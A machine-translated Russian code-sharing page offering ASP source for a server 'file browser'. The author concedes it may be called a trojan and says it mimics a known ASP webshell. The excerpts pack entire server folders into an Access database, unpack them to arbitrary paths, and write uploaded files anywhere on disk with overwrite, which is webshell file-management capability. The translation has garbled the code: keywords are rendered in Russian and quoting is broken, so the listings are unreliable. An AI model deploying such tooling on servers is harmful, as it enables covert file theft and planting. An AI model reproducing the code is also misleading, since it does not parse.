Главная страница>Исходный код ASP>данные файла
Ресурсов нет
Это файловый браузер FSO, написанный с использованием объектов коллекции FSO (если вы настаиваете на том, что это троян, я не возражаю. Функционально он имитирует дизайн «Лучшего трояна океана», но код полностью переписан). Использование таких компонентов, как Shell.Application, которые могут легко вызвать случайное завершение работы антивирусного программного обеспечения. В Интернете есть много подобных инструментов. Польза от этого инструмента не очень велика, но многие коды в нем считаются хорошо написанными.

Ключевые особенности включают в себя:

Просматривайте информацию о диске, просматривайте файлы на диске и выполняйте операции аналогично проводнику Windows, например создание, удаление, переименование, копирование, перемещение и другие основные операции с файлами.
Загрузка файлов в потоковом режиме упрощает и оптимизирует упаковку/распаковку загружаемых файлов без использования компонентов. Папка может быть полностью упакована/распакована.

Фрагмент кода:

1. Часть упаковки/распаковки файлов

  1. =========================== Процесс упаковки и распаковки файлов =============== = ============
  2. Упаковка файлов
  3. Дополнительный пакет( ByVal FPath, ByVal sDbPath)
  4. Сервер.ScriptTimeOut=900
  5.      Тусклый путь к базе данных
  6.      Если Right(sDbPath,4)= ".mdb"   Затем
  7. DbPath=sDbPath
  8.      Еще
  9. DbPath=sDbPath ".mdb"
  10.      Конец   Если
  12.      Если oFso.FolderExists(DbPath) Тогда
  13. EchoBack «Невозможно создать файл базы данных!» &Replace(DbPath, «",» \")
  14.          Выход   Саб
  15.      Конец   Если
  16.      Если oFso.FileExists(DbPath) Тогда
  17. oFso.DeleteFile DbPath
  18.      Конец   Если
  20.      Если IsFolder(FPath) Тогда
  21. RootPath=GetParentFolder(FPath)
  22.          Если Right(RootPath,1)<> "" Тогда RootPath=RootPath&" "
  23.      Еще
  24. EchoBack «Пожалуйста, введите путь к папке!»
  25.          Выход   Саб
  26.      Конец   Если
  28.      Dim oCatalog, connStr, DataName
  29.      Установить conn=Server.CreateObject( "ADODB.Connection" )
  30.      Установить oStream=Server.CreateObject( "ADODB.Stream" )
  31.      Set oCatalog=Server.CreateObject( "ADOX.Catalog" )
  32.      Установить rs=Server.CreateObject( "ADODB.RecordSet" )
  33.      На   Ошибка   Резюме   Следующий
  34. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Источник данных=" & DbPath
  35. oCatalog.Create connStr
  36.      Если Ошибка Тогда
  37. EchoBack «Невозможно создать файл базы данных!» &Replace(DbPath, «",» \")
  38.          Выход   Саб
  39.      Конец   Если
  40.      Установить oCatalog= Ничего
  41. conn.Open connStr
  42. conn.Execute( "Создать файлы таблиц (ID int IDENTITY(0,1) КЛУСТЕРИРОВАННЫЙ ПЕРВИЧНЫЙ КЛЮЧ, FilePath VarChar, FileData Image)" )
  43. oStream.Open
  44. oStream.Type=1
  45. rs.Откройте «Файлы» , conn,3,3
  46. DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
  47. NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
  49. СписокФайловФайлов= ""          Список файлов, которые не удалось запаковать
  50. ПакфолдерФПат
  51.      Если FailFilelist= ""   Затем
  52. EchoClose «Упаковка папок прошла успешно!»
  53.      Еще
  54. Response.Write "<link rel= тип таблицы стилей= text/css href= ?page=css >"
  55. Response.Write "<Script Language= JavaScript >alert(Упаковка папки завершена!nНиже приведен список файлов, которые не удалось упаковать: );</Script>"
  56. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  57.      Конец   Если
  58. oStream.Close
  59. rs.Close
  60. конн.Закрыть
  61. Конец   Саб
  62. Добавить папку (рекурсивно)
  63. Дополнительная папка_папки(FolderPath)
  64.      Если   Не IsFolder(FolderPath) Тогда   Выход   Саб
  65.      Уменьшить oFolder, sFile, sFolder
  66.      Установить oFolder=oFso.GetFolder(FolderPath)
  67.      Для   Каждый файл в oFolder.Files
  68.          Если InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Тогда
  69. PackFile sFile.Path
  70.          Конец   Если
  71.      Следующий
  72.      Установить sFile = Ничего
  73.      Для   Каждая sFolder в oFolder.SubFolders
  74. PackFolder sFolder.Path
  75.      Следующий
  76.      Установить sFolder= Ничего
  77. Конец   Саб
  78. Добавить файлы
  79. Дополнительный PackFile(FilePath)
  80.      Дим РелПат
  81. RelPath=Replace(FilePath,RootPath, "" )
  82.      Response.Write RelPath & "<br>"
  83.      На   Ошибка   Резюме   Следующий
  84. Ошиб.Очистить
  85. Ошибка = Ложь
  86. oStream.LoadFromFile FilePath
  87. rs.AddNew
  88. rs( "FilePath" )=RelPath
  89. rs( "FileData" )=oStream.Read()
  90. rs.Обновление
  91.      Если Ошибка Тогда
  92.          Не удалось упаковать файл.
  93. FailFilelist=FailFilelist&FilePath "|"
  94.      Конец   Если
  95. Конец   Саб
  97. =============================================== ========================
  98. Распаковка файла
  99. Sub UnPack (vFolderPath, DbPath)
  100. Сервер.ScriptTimeOut=900
  101.      Уменьшить FilePath, FolderPath, sFolderPath
  102. FolderPath=vFolderPath
  103. FolderPath=Обрезать(Путь к папке)
  104.      Если Mid(FolderPath,2,1)<> ":"   Затем
  105. EchoBack «Формат пути неверен, каталог не может быть создан!»
  106.          Выход   Саб
  107.      Конец   Если
  109.      Если Right(FolderPath,1)= ""   Тогда FolderPath=Left(FolderPath,Len(FolderPath)-1)
  110.      Dim connStr
  111.      Установить conn=Server.CreateObject( "ADODB.Connection" )
  112.      Установить oStream=Server.CreateObject( "ADODB.Stream" )
  113.      Установить rs=Server.CreateObject( "ADODB.RecordSet" )
  114. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Источник данных=" & DbPath
  115.      На   Ошибка   Резюме   Следующий
  116. Ошибка = Ложь
  117. conn.Open connStr
  118.      Если Ошибка Тогда
  119. EchoBack «Ошибка открытия базы данных!»
  120.          Выход   Саб
  121.      Конец   Если
  122. Ошибка = Ложь
  123. oStream.Open
  124. oStream.Type=1
  125. rs.Откройте «Файлы» , conn,1,1
  126. Список_файлов_неудач = ""          Очистить список неудачных файлов
  127.      Делать   До rs.EOF
  128. Ошиб.Очистить
  129. Ошибка = Ложь
  130. FilePath=FolderPath ""&rs(" FilePath")
  131. FilePath=Replace(FilePath, "\"," "")
  132. sFolderPath=Left(FilePath,InStrRev(FilePath, "" ))
  133.          Если   Не oFso.FolderExists(sFolderPath) Тогда
  134. CreateFolder(sFolderPath)
  135.          Конец   Если
  136. oStream.SetEos()
  137. oStream.Write rs( "FileData" )
  138. oStream.SaveToFile FilePath,2
  140.          Если Ошибка Тогда          Добавить неудавшийся элемент файла
  141. FailFilelist=FailFilelist&rs( "FilePath" ). Значение "|"
  142.          Конец   Если
  144. rs.MoveNext
  145.      Петля
  146. rs.Close
  147.      Установить rs = Ничего
  148. конн.Закрыть
  149.      Set conn= Ничего
  150.      Установить oStream = Ничего
  151.      Если FailFilelist= ""   Затем
  152. EchoClose «Распаковка файла прошла успешно!»
  153.      Еще
  154. Response.Write "<link rel= тип таблицы стилей= text/css href= ?page=css >"
  155. Response.Write "<Script Language= JavaScript >alert (Упаковка папки завершена!nНиже приведен список файлов, которые не удалось упаковать, проверьте);</Script>"
  156. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  157.      Конец   Если
  158. Конец   Саб
  159. =============================================== ========================

2. Часть загрузки файла (один файл):

  1. Сохраните загруженный файлSub
  2. Saveupload ( ByVal FolderName)
  3.      Если   Not IsFolder(FolderName) Тогда
  4. EchoClose «Папка для загрузки не указана!»
  5.          Выход   Саб
  6.      Конец   Если
  7.      Тусклый путь,IsOverWrite
  8. Path=Имя папки
  9.      If Right(Path,1)<> "" Тогда Path=Path&" "
  10. FileName=Replace(Request( "filename" ), ""," ")
  11.      Если Len(FileName)<1 , то
  12. EchoBack «Пожалуйста, выберите файл и введите имя файла!»
  13.          Выход   Саб
  14.      Конец   Если
  15. Путь=Путь
  16.      Если LCase(Request( "перезаписать" ))= "истина"   Тогда
  17. IsOverWrite= Истина
  18.      Иначе
  19. IsOverWrite= Ложь
  20.      Конец   Если
  21.      На   Ошибка   Резюме   Следующий
  22.      Вызовите MyUpload(Path,IsOverWrite)
  23.      Если Err Тогда
  24. EchoBack «Не удалось загрузить файл! (Возможно, файл уже существует)»
  25.      Иначе
  26. EchoClose «Файл успешно загружен!n» и заменить(имя_файла, «", « \")
  27.      Конец   Если
  28. Конец  
  29. Основной код загрузки подфайла
  30. Sub
  31. MyUpload (FilePath,IsOverWrite)
  32.      Dim oStream, tStream, FileName, sData, sSpace, sInfo, iSpaceEnd, iInfoStart, iInfoEnd, iFileStart, iFileEnd, iFileSize, RequestSize, bCrLf
  33. RequestSize = Request.TotalBytes
  34.      Если РазмерЗапроса<1 Тогда   Выход   Саб
  35.      Установить oStream=Server.CreateObject( "ADODB.Stream" )
  36.      Установить tStream=Server.CreateObject( "ADODB.Stream" )
  37.      С oStream
  38. .Type=1
  39. .Mode=3
  40. .Open
  41. .Write=Request.BinaryRead(RequestSize)
  42. .Position=0
  43. sData=.Read
  44. bCrLf=ChrB(13)&ChrB(10)
  45. iSpaceEnd=InStrB(sData,bCrLf)-1
  46. sSpace =LeftB(sData,iSpaceEnd)
  47. iInfoStart=iSpaceEnd+3
  48. iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
  49. iFileStart=iInfoEnd+5
  50. iFileEnd=InStrB(iFileStart,sData,sSpace)-3
  51. sData= ""      Очистить данные файла
  52. iFileSize=iFileEnd-iFileStart+1
  53. tStream.Type=1
  54. tStream.Mode=3
  55. tStream.Open
  56. .Position=iFileStart-1
  57. .CopyTo tStream,iFileSize
  58.          Если IsOverWrite Тогда
  59. tStream.SaveToFile FilePath,2
  60.          Иначе
  61. tStream.SaveToFile FilePath
  62.          Конец   Если
  63. tStream.Close
  64. .Close
  65.      Конец   С
  66.      SettStream = Ничего
  67.      Установить oStream= Ничего,
  68. Конец   Саб

 
Расширять
Дополнительная информация
Связанные приложения
Рекомендуем вам
Связанные новости Все